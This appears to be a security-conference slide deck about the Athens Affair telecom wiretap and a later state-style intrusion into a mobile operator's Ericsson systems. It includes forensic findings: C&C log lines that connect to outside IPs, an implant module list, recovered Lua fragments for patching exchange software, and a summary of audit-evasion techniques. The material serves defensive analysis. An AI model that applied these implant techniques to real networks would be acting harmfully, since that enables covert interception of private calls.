A SURPRISE ENCOUNTER WITH A TELCO APT

HITB AMSTERDAM 2017
AGENDA

• Telco Basics
• The Athens Affair
• Surprise Encounter
• Forensics
• Conclusions
TELCO BASICS

- **GSM/3G/4G SEPARATE SPEECH FROM SIGNALLING**
- **VOICE CALLS INTERCEPTION DONE THROUGH LIG**
- **INTERCEPTION FROM THE NETWORK IS DIFFICULT**
- **LIG CONTROLLED THROUGH AUTHORITIES (WARRANTS, COURT ORDERS)**
- **VOICE CALLS ARE CONTROLLED BY THE MSC/MSS/MGW**
- **SUBSCRIBERS DATA IS STORED IN THE HLR**
THE ATHENS AFFAIR

- In 2005 a mobile network operator in Greece has been compromised by an unknown party, most likely a state actor
- The sophistication of the hack surprised the industry in a pre-Snowden world
- Government officials’ phones were being tapped
- A key witness died under suspicious circumstances
**From Alpha to Omega**

- **31 Jan** Ericsson provides Vodafone with the details of its R9.1 software, which includes lawful interception (LI) capability.
- **20 Jan** Ericsson delivers R9.1 system software containing partial LI functionality to Vodafone.
- **6 Jun** Accounts for first two shadow phones are created.
- **9 Jun** Three more shadow phones are registered.
- **20 Jan** Shadow phones operate in Lycabettus restaurant in Athens.
- **24 Jan–1 Feb** Two test numbers are configured for interception at a fourth exchange, MEAPA.
- **24 Jan** The MEAPA exchange begins logging forlop errors.
- **25 Jan** The MEAPA exchange stops logging forlop errors.
- **27 Jan** Credits are added to the shadow phone accounts.
- **31 Jan** Shadow phones make one call and forward another. The call recipient then sends an SMS message to itself.
- **11 Feb** MEAKF upgrades from R9.1 to R10 software, destroying the rogue code.
- **18 Feb** Credits are added to the shadow phone accounts.
- **18 Feb** Shadow phones operate in Lycabettus restaurant.
- **4 Aug** Nine more shadow phones are registered.
- **4–10 Aug** Rogue software is installed in three exchanges: MEAKS, MEAKF, MEAPS.
- **9–11 Aug** Rogue software is configured with interception numbers.
- **13 Aug** Opening ceremony of the Athens 2004 Olympic Games.
- **27–29 Oct** Rogue software is installed in the MEAPA exchange but is not used for monitoring.
4 Mar Ericsson informs Vodafone of the existence of rogue software.
7 Mar Vodafone locates the rogue software.
8 Mar Vodafone extracts a list of logged phone numbers from MEAKS.
8 Mar Vodafone Greece CEO Giorgos Koronias orders removal of the rogue software.

7 Apr ADAE publishes its second interim report on the case.

31 Oct Vodafone places an order with Ericsson for LI software.

8 Mar The government security agency, ADAE, presents its first interim report on the case to the Parliament Committee on Institutions and Transparency.
23 Mar ADAE performs a simulation of the rogue software.

18 Nov Ericsson delivers LI software to Vodafone.

2006

1 Feb Public prosecutor of the Supreme Court finishes the preliminary investigation.
2 Feb The government provides details of the case in a press conference.
2 Feb Criminal prosecution for the violation of communications privacy and possibly spying is ordered.

14 Dec ADAE fines Vodafone €76 million (US $93.4 million).

9 Mar Costas Tsalkidis, head of network planning of Vodafone Greece is found hanged in his apartment.
10 Mar Koronias briefs Giannis Angelou, director of the prime minister’s political office.
10 Mar The Greek presidential decree specifying lawful interception procedures takes effect.
16 Mar Vodafone sends e-mail to Ericsson asking for the return of all exchange backup data.

Koronias

Tsalkidis

Voulgarakis
TELECOM CHALLENGES

- Lawful interception has lots of constraints (the main one: being lawful)
- Mass interception has its limits (financial, human resources, scope, PoI location)
- Surprisingly, some countries do not cooperate!
- Off-the-air interception requires being physically close to the target
- Proliferation of IMSI catchers (active and passive)
How a Cellphone System Works

1. Cellphone periodically communicates with nearby cellular base station even before calls are made or received.

2. Handset converts speech into digital data stream, sending the signal to the transceiver at the base station.

3. Base station controller allocates radio channels and coordinates “handovers” between base stations.

4. Mobile switching center takes phone calls, connects them to recipients within same switching center.
**Typical Ericsson AXE Wiretap System**

1. The warrant list is updated by using the IMS’s “Warrant Record” dialog box.

2. An audit can be performed between the warrant and RES subscriber lists.

3. Wiretaps initiated.

4. RES copies conversation onto a second data stream, sending it to law enforcement.

**How Cellphone System Was Breached**

1. IMS software not installed; no lists to check against unlawful wiretapping.

2. Intruders modify 29 blocks of code through their corrections area, that is, a memory space where system software is updated with patches.

3. Wiretaps initiated.

4. Rogue software stores tapped numbers in two data areas within its own memory space, avoiding detection.

5. RES copies conversation onto a second data stream, sending it to shadow handsets.

6. Rogue software conceals itself further by hiding active blocks relating to intercepts. Checksums are also tampered with to make blocks appear unaltered.
MAJOR INCIDENT

- **The Athens Affair has been billed as:**
  - "The most bizarre and embarrassing scandal ever to engulf a major cellphone service provider"
  - "One of the most elusive of cybercrimes"
  - "The most audacious cell-network break-in ever"
  - "The most spectacular cell-system penetration ever"
  - "One of the most extraordinary wiretapping scandals of the post-Cold War era"
  - "The most successful and sophisticated recorded intrusion of a digital network"

Wiretaps targets included the Prime Minister and his wife, ministers of national defense, foreign affairs, and justice, the mayor of Athens, and the Greek European Union commissioner were all compromised. Others belonged to members of civil rights organizations, peace activists, and anti-globalization groups; senior staff at the ministries of National Defense, Public Order, Merchant Marine, and Foreign Affairs; the New Democracy ruling party; the Hellenic Navy general staff; and an employee at the United States Embassy in Athens.
INTRUDER COUNTERMEASURES

• 29 PROGRAM BLOCKS PATCHED (ROUGHLY 6,500 LINES OF PLEX)
• DATA KEPT IN PROTECTED MEMORY (E.G. MSISDN BEING MONITORED)
• MML COMMAND AUDITING BYPASSED AND SECRET USER ADDED
• BLOCKS CHECKSUM MODIFIED TO PREVENT AUDITING
THE CONCLUSIONS OF THE AFFAIR

• No definitive answer to who was responsible for this hack
• Intracom Telecom suspected (delivers key software to Ericsson)
• Involvement of Vodafone’s Costas Tsalkidis not clear and suicide suspicious
• U.S. agencies suspected but no tangible proof and no references in leaks
• In February 2015 Greece issued an arrest warrant for a former US embassy employee

• Visitor logbooks not kept; Evidence deleted; Log files not kept long enough
• In 2006 Vodafone fined €76 million by the Communications Privacy Protection Authority
• And in 2007 another €19 million by EETT, the Hellenic Telecommunications and Post Commission
(U) Another Successful Olympics Story

FROM: [Redacted]
Collection Strategies and Requirements Center (S3C)
Run Date: 10/06/2004

(TS/SI) Given the broad scope of the Games, all DA Groups played a part in improving access, collection, and forwarding of traffic. For example, prior to the start of the Olympics:

- Commercial Technologies Group worked with vendors to learn about communications being installed to support the Olympics;
- CSRC gathered data from CIA documenting the GSM networks active in Athens;
- Special Source Operations improved mid-point cable access to DNI and voice targets in Greece;
- SCS Athens fielded additional capabilities to bring traffic back to NSA/W;
- Tailored Access Operations performed CNE operations against Greek communications providers.

(SI/SI) To accomplish this herculean task, NSA personnel, at the heart of the action in Athens, were working very closely with the State Department, which was responsible for providing security for U.S. Olympic officials, judges and athletes -- at the sporting events, the Olympic Village and aboard cruise ships in Piraeus Harbor serving as floating hotels. From the Olympic AOR, around the world and back to the Fort, NSA personnel were manning 24-hour watches and operations while working with Home Land Security, the FBI, NGA, CIA and DIA, as well as EUCOM and SOCOM in support of NATO. NSA support to the 2004 Summer Games encompassed a wide range of offices to include:

- the Information Assurance Directorate (IAD),
- Installations and Logistics (I&L),
- Information Technology Infrastructure Services (ITIS),
- Counterterrorism (CT),
- International Security Issues (ISI),
- Customer Relationships (S1),
- the National Security Operations Center (NSOC),
- Tailored Access,
- Link Access,
- Cryptanalysis and Exploitation (CES),
PART 2

10 YEARS LATER…
THE GREEK GHOSTS

• Attackers discovered during a routine security audit of a mobile operator.
• Stealth actor spotted by pure luck.
• Using available tools on the host we grabbed as much as we could from the attacker during the few minutes he was on the system.
• Post-mortem analysis to identify entry & exit points, supporting infrastructure, C&C protocols, etc.
THE PLEX LANGUAGE

• PLEX (Programming Language for EXchanges) is a special-purpose, concurrent, real-time programming language.

• The PLEX language is closely tied to the architecture of Ericsson’s AXE telephone exchanges which it was designed to control.

• PLEX was described in 2008 as "a cross between Fortran and a macro assembler."

• Joe Armstrong created the Erlang language to replace PLEX.

  "PLEX had come to the end of its useful life. It was a language that was created in 1976. For its time, it was brilliant but things had happened in computer science that had invalidated PLEX and better ways of programming were being discovered."
99 BOTTLES OF BEER IN PYTHON & PERL

PYTHON:

```python
for quant in range(99, 0, -1):
    if quant > 1:
        print quant, "bottles of beer on the wall," , quant, "bottles of beer."
    if quant > 2:
        suffix = str(quant - 1) + " bottles of beer on the wall."
    else:
        suffix = "1 bottle of beer on the wall."
    elif quant == 1:
        print "1 bottle of beer on the wall, 1 bottle of beer."
        suffix = "no more beer on the wall!"
    print "Take one down, pass it around," , suffix
    print "--"
```

PERL:

```perl
sub b{$n=99-@_||"No "$n bottle","s"x!"--$n." of beer";$w=" on the wall";
die map{b."$w
".b."
Take one down, pass it around
b(0)."$w
".b."
0}.
```

COMMAND BEERS TYPE COCA99,
ID IS TIOID;
CIOID = TIOID;
ONWALL1 = "BOTTLES OF BEER ON A WALL, ";
ONWALL2 = "BOTTLES OF BEER ON A WALL."
BOTTLES = "BOTTLES OF BEER";
TAKEDOWN = "TAKE ONE DOWN AND PASS IT AROUND, ";
ON CHEER FROM 99 DOWN TO 1 DO
CASE CHEER IS
WHEN 1 DO
BOTTLES = "BOTTLE OF BEER";
ONWALL1 = "BOTTLE OF BEER ON A WALL, ";
ONWALL2 = "NO MORE BOTTLES OF BEER ON A WALL."
WHEN 2 DO
ONWALL1 = "BOTTLE OF BEER ON A WALL."
ONWALL2 = "BOTTLE OF BEER ON A WALL.";
OTHERWISE DO:
ENDCASE;
INSERT VALUE CHEER, ID IS CIOID,
FORMAT IS 5;
INSERT STRING ONWALL1, ID IS CIOID;
INSERT STRING CHEER, ID IS CIOID,
FORMAT IS 5;
INSERT STRING BOTTLES, ID IS CIOID;
WRITE AFTHER 1 NL, ID IS CIOID,
ABRANCH IS ERROR;
INSERT STRING TAKEDOWN, ID IS CIOID;
IF CHEER /= 1 THEN
INSERT VALUE (CHEER-1), ID IS CIOID,
FORMAT IS 5;
FI;
INSERT STRING ONWALL2, ID IS CIOID;
WRITE AFTHER 1 NL, ID IS CIOID,
ABRANCH IS ERROR;
NO;
ERROR)
RELEASE DEVICE, ID IS CIOID,
ABRANCH IS EXIT;
EXIT;
END PROGRAM;
DATA;
END DATA;
*END;
THE INITIAL ENCOUNTER

- **Context:** security audit of a mobile telecom operator
- **Scope:** Billing, Mediation, OSS, Messaging, IN Prepaid service
- **Phase:** Patch compliance and host security baseline setup
- **Node:** Ericsson Operation Support Systems
- **System:** SUN SPARC Solaris 10

The output of the ‘w’ command showed something unusual that triggered the interest of the analyst. A root user logged on, and vanished a few seconds later.
root user with tty but not in system accounting
its child process has write access to wtmpx
comes from 10.18.1.40 over ssh
The intruder is interested in locations used for AXE upgrade, as well as upgrade logfiles. (gathered with lsof and ps)

We see that an unscheduled upgrade has been performed within the last 24 hours.
INTRUDER UPGRADE

License number | Supplier | Feature | Provision | Feature Name
--- | --- | --- | --- | ---
CXC3010337/0001 | HLRNF510 | GSMHRSF | NON_PRELOCK | Multiple Subscription Support in HLR
CXC3010337/0002 | HLRNF0148 | GSMHRSF | NON_PRELOCK | Multi_Home_PLMN in HLR
CXC3010337/0003 | HLRNF0153 | GSMHRSF | NON_PRELOCK | SMS_Home_Routing
CXC3010337/0004 | HLRNF0154 | GSMHRSF | NON_PRELOCK | 
Unstructured_SS_Data_(USSD)_Transparent_Transfer_to_gsmSCF

CXC4011121/0070 | MSCNF624 | GSM1APTF | PRELOCK | Support_of_Mobile_TrafficRecording
CXC4011121/0138 | INCRICAP | AMCRESF | NON_PRELOCK | Extended_II_Capacity

```bash
cat trtsi_BKMSC1.cmd
IOTXP:REINITIATE TRAFFIC RECORDING;
TRTSI:MP=0,NRP=24,RPL=60,DATE=130316,NDAYS=365,TIME=0000;
```

```bash
cat tpbl1_BKMSC1.cmd
IOTXP:START OF FILE TPBL1.CMD;
TPBL1:SDIP=2E1551,MS=MS-1;
TPBL1:SDIP=3E1551;
TPBL1:SDIP=4E1551,MS=MS-1;
TPBL1:SDIP=5E1551,MS=MS-1;
TPBL1:SDIP=6E1551,MS=MS-1;
TPBL1:SDIP=7E1551,MS=MS-1;
IOTXP:END OF FILE TPBL1.CMD;
cat  network_management.cmd
IOTXP:ACTIVATION NETWORK MANAGEMENT COUNTER DATA OUTPUT;
```
We dumped a core from the intruder process and found it performs some operations on files in the upgrade area.

Possibly extracting versions and checksums to prepare for patching
A Typical Complex & Targeted Attack Profile

1. **Intelligence gathering**
   - Identify & research target individuals using public sources (LinkedIn, Facebook, etc) and prepare a customized attack.

2. **Point of entry**
   - The initial compromise is typically from zero-day malware delivered via social engineering (email/IM or drive by download). A backdoor is created and the network can now be infiltrated. (Alternatively a hacker attacks over a Website or directly over the network).

3. **Command & Control (C&C) communication**
   - Allows the attacker to instruct and control the compromised machines and malware used for all subsequent phases.

4. **Lateral movement & persistence**
   - Once inside the network, the attacker compromises additional machines to harvest credentials, escalate privilege levels and maintain persistent control.

5. **Asset/data discovery**
   - Several techniques (ex. Port scanning) are used to identify the noteworthy servers and the services that house the data of interest.

6. **Data exfiltration**
   - Once sensitive information is gathered, the data is funneled to an internal staging server where it is chunked, compressed and often encrypted for transmission to external locations.
C&C #1
C&C #2

Core Network
MSC/MSS/MGW
BSC/RAN
HLR/HSS
SGSN/GGSN

Value-Added Services
IN / Prepaid Messaging USSD

Operation Support Systems
OSS
Billing Mediation

Staging Host
Tools / compiler
C&C comms
Data exfiltration

Relay Host
Forwarding
ACL bypass

UPGRADE
FORENSICS

- Process found without matching binary on filesystem
- Using Solaris gcore a core dump is generated
- Running binary is recovered from /proc filesystem

- Primary analysis shows its main functionality is to dynamically load Lua scripts
- Modular architecture yet cleartext Lua scripts can be recovered from memory
- SSL certificate for C&C communications recovered from core file
VPS up but listening port not setup yet

2015-03-18 20:34:09 [info ] vm21 --- DONE ---

2015-03-18 21:04:06 [info ] vm18 +++ NEW JOB +++ (run('rd:remote.lua', '88.147.22.119', 443, 60, 'client|quiet|admin|ssl|rwto=7200'))

VPS shut down and communication attempts time out

2015-03-20 09:06:04 [info ] vm18 --- DONE ---
2015-03-20 10:04:12 [info ] vm15 +++ NEW JOB +++ (run('rd:stats.lua', '190.134.112.70', 52971, 30, 'client|quiet'))

2015-03-19 14:03:22 [info ] vm21 --- DONE ---
2015-03-20 09:05:40 [info ] vm18 +++ NEW JOB +++ (run('rd:remote.lua', '88.147.22.119', 443, 60, 'client|admin|ssl|quiet|rwto=7200'))

Message exchange with C&C successful

2015-02-22 13:09:58 [info ] ** Stats message(id=99) sent to remote

2015-02-22 22:11:18 [info ] ** Stats message(id=100) sent to remote
C&C logs show “VM” management

Ability to load/unload/run/kill modules

```
[C31|B|SP1]> vm.list()
  id at   buf t state title
  ------- ------ --------------
 01 - DOSTR run('rd:dotty.lua') - plunge(shell,"rd:..","action"")
*02  17 - DOSTR run('rd:dotty.lua') - vm.list()
 03 - DOSTR run('rd:dotty.lua')
 04 - DOSTR run('rd:dotty.lua')
 05  14 - DOSTR run('rd:dotty.lua')
 06  14 - DOSTR run('rd:dotty.lua')
 07  14 - DOSTR run('rd:dotty.lua')
 08  14 - DOSTR run('rd:dotty.lua')
 09  14 - DOSTR run('rd:dotty.lua')
 10  15 - DOSTR run('rd:dotty.lua')
 11  15 - DOSTR run('rd:dotty.lua')
 12 - DOSTR run('rd:dotty.lua')
 13 - DOSTR run('rd:dotty.lua')
 14 - DOSTR run('rd:dotty.lua')
 15 - DOSTR run('rd:dotty.lua')
 16 - DOSTR run('rd:dotty.lua')
 17  02 - DOSTR run('rd:..','190.134.112.70',443,60,
[client|quiet|admin|ssl|rwto=7200')
 18 - DOSTR run('rd:..','190.134.112.70',443,60,
[client|quiet|admin|ssl|rwto=7200')
 19  04 - DOSTR run('rd:..','190.134.112.70',443,60,
[client|quiet|admin|ssl|rwto=7200')
 20 - DOSTR run('rd:..','190.134.112.70',443,60,
[client|quiet|admin|ssl|rwto=7200')
 21 - DOSTR run('rd:..','190.134.112.70',443,60,
[client|quiet|admin|ssl|rwto=7200')
 22 - DOSTR run('rd:..','190.134.112.70',443,60,
[client|quiet|admin|ssl|rwto=7200')
 23 - DOSTR run('rd:..','190.134.112.70',443,60,
[client|quiet|admin|ssl|rwto=7200')
 24 - DOSTR run('rd:..','190.134.112.70',443,60,
[client|quiet|admin|ssl|rwto=7200')
```

```
rd:init_vm.lua
run('rd:dotty.lua')
dofile("rd:socket.lua")
dofile("rd:ssl.lua")
dofile("rd:vm.lua")
dofile("rd:job.lua")
dofile("rd:spd.lua")
dofile("rd:util.lua")
dofile("rd:..lua")
dofile("rd:..lua")
  ...
@rd:cpt.lua
@rd:dump.lua
@rd:actions.lua
@rd:cptc.lua
@rd:cmdlog.lua
  ...
rd:pcorx.lua
rd:qml.lua
rd:su.lua
rd:pp.lua
```
function check_holes(blocks, limit)
    limit = limit or 10
    local pat = "CAF\n" .. " minimum hole size to look for"
    local count = 0
    for _, block in ipairs(blocks) do
        local m, e = exp:miexec("pcorp:block=" .. block .. ",")
        if not m then
            return nil, e or "PCORP failed"
        end
        local caf = tonumber(m:match(pat)) or 0
        local note = ""
        if caf > limit then
            note = " OVER LIMIT. MAX=" .. limit .. ""
            count = count + 1
        end
        log("largest hole for " .. block .. " = " .. caf .. note)
    end
    if count > 0 then
        return nil, "Too large holes found for ", count, " block(s)"
    end
    return 'ok'
end

-- Check for address clash
function check_la(corrdb, fudge)
    fudge = fudge or 0
    return ACTION("check_la(" .. corrnames(corrdb) .. ")")
end

-- Check for address clash
function check_ipairs(corrdb, fudge)
    return ACTION("check_ipairs(" .. corrnames(corrdb) .. ")")
end

-- Check for address clash
function check_blockset(corrdb, fudge)
    return ACTION("check_blockset(" .. corrnames(corrdb) .. ")")
end

-- Check for address clash
function check_conn(corrdb, fudge)
    return ACTION("check_conn(" .. corrnames(corrdb) .. ")")
end

-- Check for address clash
function check_all(corrdb, fudge)
    return ACTION("check_all(" .. corrnames(corrdb) .. ")")
end
null

function mml_cmd(doit_cmd, undo_cmd)
    return ACTION("mml: " .. doit_cmd) {
        function (self, exp) return exp:mmlexec(doit_cmd end,
        undo_cmd and
            function (self, exp) return exp:mmlexec(undo_cmd) end,
    }

local function _apg(exp, cmd)
    if not cmd then
        return ''
    end
    local m, e = exp:apexec(cmd)
    if m then
        if not m:match("not%s+recognized%s+as%s+an%s+internal%s+or%s+external%s+command") then
            return m
        end
    end
    return nil, e or m

function apg_cmd(do_cmd, undo_cmd)
    return ACTION("apg: " .. do_cmd) {
        wrap(_apg, do_cmd)
        undo_cmd and wrap(_apg, undo_cmd)
    }

-- Return 'mml', 'apg', 'other', nil
function whereami(exp)
    local patternlist = {exp.pre("\[<:>$"),
        exp.pre("\3>$")},
        exp.pre(exp.PROMPT))
    local replies = {'mml', 'apg', 'other'}
    local what = exp:expect_list(patternlist, 1)  
        if not what then
            exp:sendline()
            what = exp:expect_list(patternlist, 2)
        end
        return replies[what]
-- XXX: Keep global: Perhaps load from file?
-- ad = _G.ad
-- Start mml. Try to reuse same device as before
function invoke_mml(exp)
    local term = (exp.mml and exp.mml:term) or ad
    repeat
        local cmd
        if term then
            cmd = "mml -d " .. term
        else
            cmd = "mml"
        end
        --
CONCLUSIONS

• Sophisticated attacker who maintain presence in a closed telco network
• Advanced patching of MSC software blocks through OSS facilities
• Modifications linked to call interception and monitoring
• Mature C&C infrastructure and modular implant operations
• Similar fingerprints as the Athens Affair
• Industrialized, robust methods seem to point to state actor
THANKS

Q&A

EMX@TSTF.NET
REFERENCES


